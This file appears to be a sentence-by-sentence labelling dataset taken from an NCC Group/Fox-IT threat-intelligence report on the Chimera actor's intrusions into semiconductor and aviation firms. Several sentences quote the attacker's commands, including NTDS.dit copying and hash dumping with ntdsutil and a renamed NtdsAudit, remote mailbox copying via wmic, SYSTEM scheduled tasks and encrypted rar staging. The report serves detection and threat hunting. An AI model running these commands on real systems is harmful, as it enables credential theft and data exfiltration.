{"sentence": "In their intrusions they regularly abuse cloud services from Google and Microsoft to achieve their goals.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "NCC Group and Fox-IT observed this threat actor during various incident response engagements performed between October 2019 until April 2020.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Our threat intelligence analysts noticed clear overlap between the various cases in infrastructure and capabilities, and as a result we assess with moderate confidence that one group was carrying out the intrusions across multiple victims operating in Chinese interests.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In open source this actor is referred to as Chimera by CyCraft.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "NCC Group and Fox-IT have seen this actor remain undetected, their dwell time, for up to three years.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As such, if you were a victim, they might still be active in your network looking for your most recent crown jewels.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We contained and eradicated the threat from our client’s networks during incident response whilst our Managed Detection and Response (MDR) clients automatically received detection logic.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "With this publication, NCC Group and Fox-IT aim to provide the wider community with information and intelligence that can be used to hunt for this threat in historic data and improve detections for intrusions by this intrusion set.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Throughout we use terminology to describe the various phases, tactics, and techniques of the intrusions standardized by MITRE with their ATT&CK framework .", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Near the end of this article all the tactics and techniques used by the adversary are listed with links to the MITRE website with more information.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "From initial access to defense evasion: how it is done In all the intrusions we have observed they are performed in similar ways by the adversary: from initial access all the way to actions on objectives.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The objective in these cases appear to be stealing sensitive data from the victim’s networks.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Credential theft and password spraying to Cobalt Strike This adversary starts with obtaining usernames and passwords of their victim from previous breaches.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Network discovery and lateral movement", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary continues their discovery of the victim’s network from patient zero.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After this the adversary dumps the domain admin credentials from the memory of this machine, continues lateral moving through the network, and places Cobalt Strike beacons on servers for increased persistent access into the victim’s network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary is typically able to perform all the steps described above within one day.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "During this process, the adversary identifies data of interest from the network of the victim.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This can be anything from file and directory-listings, configuration files, manuals, email stores in the guise of OST- and PST-files, file shares with intellectual property (IP), and data scraped from memory.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "However, usually the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive-account controlled by the adversary.", "labels": ["T1074.001"], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After the adversary completes their initial exfiltration, they return every few weeks to check for new data of interest and user accounts.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "At times they have been observed attempting to perform a degree of anti-forensic activities including clearing event logs, time stomping files, and removing scheduled tasks created for some objectives.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But this isn’t done consistently across their engagements.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Framing the adversary’s work in the MITRE ATT&CK framework Credential access (TA0006)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The earliest and longest lasting intrusion by this threat we observed, was at a company in the semiconductors industry in Europe and started early Q4 2017.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The more recent intrusions took place in 2019 at companies in the aviation industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The techniques used to achieve access at the companies in the aviation industry closely resembles techniques used at victims in the semiconductors industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The threat used valid accounts against remote services: Cloud-based applications utilizing federated authentication protocols.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Our incident responders analysed the credentials used by the adversary and the traces of the intrusion in log files.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Besides that, the traces in log files showed more than usual login attempts with a username formatted as email address, e.g.<username>@<email domain>.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "While usernames for legitimate logins at the victim’s network were generally formatted like <domain>\\<username>.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "And attempted logins came from a relative small set of IP-addresses.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "For the investigators at NCC Group and Fox-IT these pieces of evidence supported the hypothesis of the adversary achieving credentials access by brute force, and more specifically by credential stuffing or password spraying.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Initial access (TA0001)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In some of the intrusions the adversary used the valid account to directly login to a Citrix environment and continued their work from there.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In one specific case, the adversary now armed with the valid account, was able to access a document stored in SharePoint Online, part of Microsoft Office 365.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This specific document described how to access the internet facing company portal and the web-based VPN client into the company network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Within an hour after grabbing this document, the adversary accessed the company portal with the valid account.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "From this portal it was possible to launch the web-based VPN.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The VPN was protected by two-factor authentication (2FA) by sending an SMS with a one-time password (OTP) to the user account’s primary or alternate phone number.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "It was possible to configure an alternate phone number for the logged in user account at the company portal.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary used this opportunity to configure an alternate phone number controlled by the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "However, they also made a mistake during this process within one incident.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Our hypothesis is that they tested the 2FA-system first or selected the primary phone number to send a SMS to.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "However the European owner of the account received a text message with Simplified Chinese characters on the primary phone number in the middle of the night Eastern European Time (EET).", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "NCC Group and Fox-IT identified that the language in the text-message for 2FA is based on the web browser’s language settings used during the authentication flow.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Thus the 2FA code was sent with supporting Chinese text.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Account discovery (T1087) With access into the network of the victim, the adversary finds a way to install a Cobalt Strike beacon on a system of the victim (see Execution).", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But before doing so, we observed the adversary checking the current permissions of the obtained user account with the following commands: net user net user Administrator net user <username>", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "/domain net localgroup administrators If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The built-in Windows quser-command to show logged on users is also heavily used by them.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If such a privileged user was recently active on a server the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Privilege escalation (TA0004)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary started a password spraying attack against those domain admin accounts, and successfully got a valid domain admin account this way.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In other cases, the adversary moved laterally to another system with a domain admin logged in.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We observed the use of Mimikatz on this system and saw the hashes of the logged in domain admin account going through the command and control channel of the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary used a tool called NtdsAudit to dump the password hashes of domain users as well as we observed the following command: msadcs.exe \"NTDS.dit\" -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv Note: the adversary renamed ntdsaudit.exe to msadcs.exe.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But we also observed the adversary using the tool ntdsutil to create a copy of the Active Directory database NTDS.dit followed by a repair action with esentutl to fix a possible corrupt NTDS.dit: ntdsutil \"ac i ntds\" \"ifm\" \"create full C:\\Windows\\Temp\\tmp\" q q esentutl /p /o", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "ntds.dit Both ntdsutil and esentutl are by default installed on a domain controller.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A tool used by the adversary which wasn’t installed on the servers by default, was DSInternals.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "DSInternals is a PowerShell module that makes use of internal Active Directory features.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The files and directories found on various systems of a victim match with DSInternals version 2.16.1.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Execution (TA0002)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary installs a hackers best friend during the intrusion: Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Cobalt Strike is a framework designed for adversary simulation intended for penetration testers and red teams.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "It has been widely adopted by malicious threats as well.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The Cobalt Strike beacon is installed in memory by using a PowerShell one-liner.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "At least the following three versions of Cobalt Strike have been in use by the adversary: Cobalt Strike v3.8, observed Q2 2017Cobalt Strike v3.12, observed Q3 2018Cobalt Strike v3.14, observed Q2 2019 Fox-IT has been collecting information about Cobalt Strike team servers since January 2015.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This research project covers the fingerprinting of Cobalt Strike servers and is described in Fox-IT blog “Identifying Cobalt Strike team servers in the wild”.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The collected information allows Fox-IT to correlate Cobalt Strike team servers, based on various configuration settings.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Because of this, historic information was available during this investigation.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Whenever a Cobalt Strike C2 channel was identified, Fox-IT performed lookups into the collection database.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If a match was found, the configuration of the Cobalt Strike team server was analysed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This configuration was then compared against the other Cobalt Strike team servers to check for similarities in for example domain names, version number, URL, and various other settings.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary heavily relies on scheduled tasks for executing a batch-file (.bat) to perform their tasks.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "An example of the creation of such a scheduled task by the adversary: schtasks /create /ru", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\"SYSTEM\" /tn \"update\" /tr \"cmd /c c:\\windows\\temp\\update.bat\" /sc once /f /st 06:59:00", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The batch-files appear to be used to load the Cobalt Strike beacon, but also to perform discovery commands on the compromised system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Persistence (TA0003)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary loads the Cobalt Strike beacon in memory, without any persistence mechanisms on the compromised system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Once the system is rebooted, the beacon is gone.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary is still able to have persistent access by installing the beacon on systems with high uptimes, such as server.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Besides using the Cobalt Strike beacon, the adversary also searches for VPN and firewall configs, possibly to function as a backup access into the network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We haven’t seen the adversary use those access methods after the first Cobalt Strike beacons were installed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Maybe because it was never necessary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After the first bulk of data is exfiltrated, the persistent access into the victim’s network is periodically used by the adversary to check if new data of interest is available.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They also create a copy of the NTDS.dit and SYSTEM-registry hive file for new credentials to crack. Discovery (TA0007)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary applied a wide range of discovery tactics.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In the list below we have highlighted a few specific tools the adversary used for discovery purposes.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "You can find a summary of most of the commands used by the adversary to perform discovery at the end of this article.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Account discovery tool: PsLogListCommand used: psloglist.exe -accepteula -x security -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "-a", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "<date>", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This command exports a text file with comma separated fields.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The text files contain the contents of the Security Event log after the specified date.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Psloglist is part of the Sysinternals toolkit from Mark Russinovich (Microsoft).", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The tool was used by the adversary on various systems to write events from the Windows Security Event Log to a text file.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A possible intent of the adversary could be to identify if privileged users are active on the systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "If such a privileged user was recently active on a server the actor executes Cobalt Strike’s built-in Mimikatz to dump its credentials or password hash.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Account discovery tool: NtdsAuditCommand used: msadcs.exe", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\"NTDS.dit\" -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The NtdsAudit utility is an auditing tool for Active Directory databases.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "It allows the user to collect useful statistics related to accounts and passwords.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Network service scanningCommand used: get -b <start ip> -e <end ip> -p get -b <start ip> -e <end ip> Get.exe appears to be a custom tool used to scan IP-ranges for HTTP service information.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "NCC Group and Fox-IT decompiled the tool for analysis.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This showed the tool was written in the Python scripting language and packed into a Windows executable file.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "GetHttpsInfo scans the internal network for HTTP & HTTPS services.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The tool was shared on a Chinese forum around 2016.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Figure 1: Example of a download location for GetHttpsInfo.exe Lateral movement (TA0008)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary used the built-in lateral movement possibilities in Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Cobalt Strike has various methods for deploying its beacons at newly compromised systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We have seen the adversary using SMB, named pipes, PsExec, and WinRM.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary attempts to move to a domain controller as soon as possible after getting foothold into the victim’s network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They continue lateral movement and discovery in an attempt to identify the data of interest.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This could be a webserver to carve data from memory, or a fileserver to copy IP, as we have both observed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "At one customer, the data of interest was stored in a separate security zone.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary was able to find a dual homed system and compromise it.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "From there on they used it as a jump host into the higher security zone and started collecting the intellectual property stored on a file server in that zone.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In one event we saw the adversary compromise a Linux-system through SSH.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The user account was possibly compromised on the Linux server by using credential stuffing or password spraying: Logfiles on the Linux-system show traces which can be attributed to a credential stuffing or password spraying attack.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Lateral tool transfer (T1570)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary is applying living off the land techniques very well by incorporating default Windows tools in its arsenal.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But not all tools used by the adversary are so called lolbins: As said before, they use Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But they also rely on a custom tool for network scanning (get.exe), carving data from memory, compression of data, and exfiltrating data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But first: How did they get the tools on the victim’s systems?", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A few examples of commands we observed: copy get.exe \\\\<ip>\\c$\\windows\\temp\\ copy msadc*", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\\\\<hostname>\\c$\\Progra~1\\Common~1\\System\\msadc\\ copy update.exe \\\\<ip>\\c$\\windows\\temp\\ move ak002.bat \\\\<ip>\\c$\\windows\\temp\\update.bat Collection (TA0009)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In preparation of exfiltration of the data needed for their objective, the adversary collected the data from various sources within the victim’s network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As described before, the adversary collected data from an information repository, Microsoft SharePoint Online in this case.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This document was exfiltrated and used to continue the intrusion via a company portal and VPN.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In all cases we’ve seen the adversary copying results of the discovery phase, like file- and directory lists from local systems, network shared drives, and file shares on remote systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But email collection is also important for this adversary: with every intrusion we saw the mailbox of some users being copied, from both local and remote systems: wmic /node:<ip> process call create \"cmd /c copy c:\\Users\\<username>\\<path>\\backup.pst c:\\windows\\temp\\backup.pst\" copy \"i:\\<path>\\<username>\\My Documents\\<filename>.pst\" copy \\\\<hostname>\\c$\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook*.ost Files and folders of interest are collected as well and staged for exfiltration.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The goal of targeting some victims appears to be to obtain data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "How this data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve data from memory of systems where such data is typically processed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The DLL’s used were side-loaded in memory on compromised systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After placing the DLL in the appropriate directory, the actor would change the date and time stamps on the DLL files to blend in with the other legitimate files in the directory.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This process is called staging and is one of the of the activities that NCC Group and Fox-IT has observed in the analysed C2 traffic.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We’ve seen the adversary staging data on a remote system or on the local system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Most of the times the data is compressed and copied at the same time.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Only a handful of times the adversary copies the data first before compressing (archive collected data) and exfiltrating it.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary compresses and encrypts the data by using WinRAR from the command-line.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The filename of the command-line executable for WinRAR is RAR.exe by default.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This activity group always uses a renamed version of rar.exe.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We have observed the following filenames overlapping all intrusions: jucheck.exeRecordedTV.msteredo.tmpupdate.exemsadcs1.exe The adversary typically places the executables in the following folders: C:\\Users\\Public\\Libraries\\C:\\Users\\Public\\Videos\\C:\\Windows\\Temp\\ The following four different variants of the use of rar.exe as update.exe we have observed: update a -m5 -hp<password> <target_filename> <source> update a -m5 -r -hp<password> <target_filename> <source> update a -m5 -inul -hp<password> <target_filename> <source> update a -m5 -r -inul -hp<password> <target_filename> <source>", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The command lines parameters have the following effect: a = add to archive.m5 = use compression level", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "5.r = recurse subfolders.inul", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "= suppress error messages.hp<password> = encrypt both file data and headers with password.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The used password, file extensions for the staged data differ per intrusion.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We’ve seen the use of .css, .rar, .log.txt, and no extension for staged pieces of data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "After compromising a host with a Linux operating systems, data is also compressed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This time the adversary compresses the data as a gzipped tar-file: tar.gz.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Sometimes no file extension is used, or the file extension is .il.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Most of the times the files names are prepended with adsDL_ or contain the word “list”.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The files are staged in the home folder of the compromised user account: /home/<username>/ Command and control (TA0011)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary uses Cobalt Strike as framework to manage their compromised systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They switched to C2 encapsulated in HTTPS in Q3 2019.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This is important to note because the functionalities of Cobalt Strike’s trial version are limited.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In one intrusion we investigated, the victim had years of logging available of outgoing DNS-requests.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The DNS-responses weren’t logged.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This means that only the DNS C2 leaving the victim’s network was logged.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As the adversary used Cobalt Strike with DNS as command & control protocol, we were able to reconstruct more than two years of adversary activity.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "With all this activity data, it was possible for us to create some insight into the ‘office’-hours of this adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The activity took place six days a week, rarely on Sundays.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
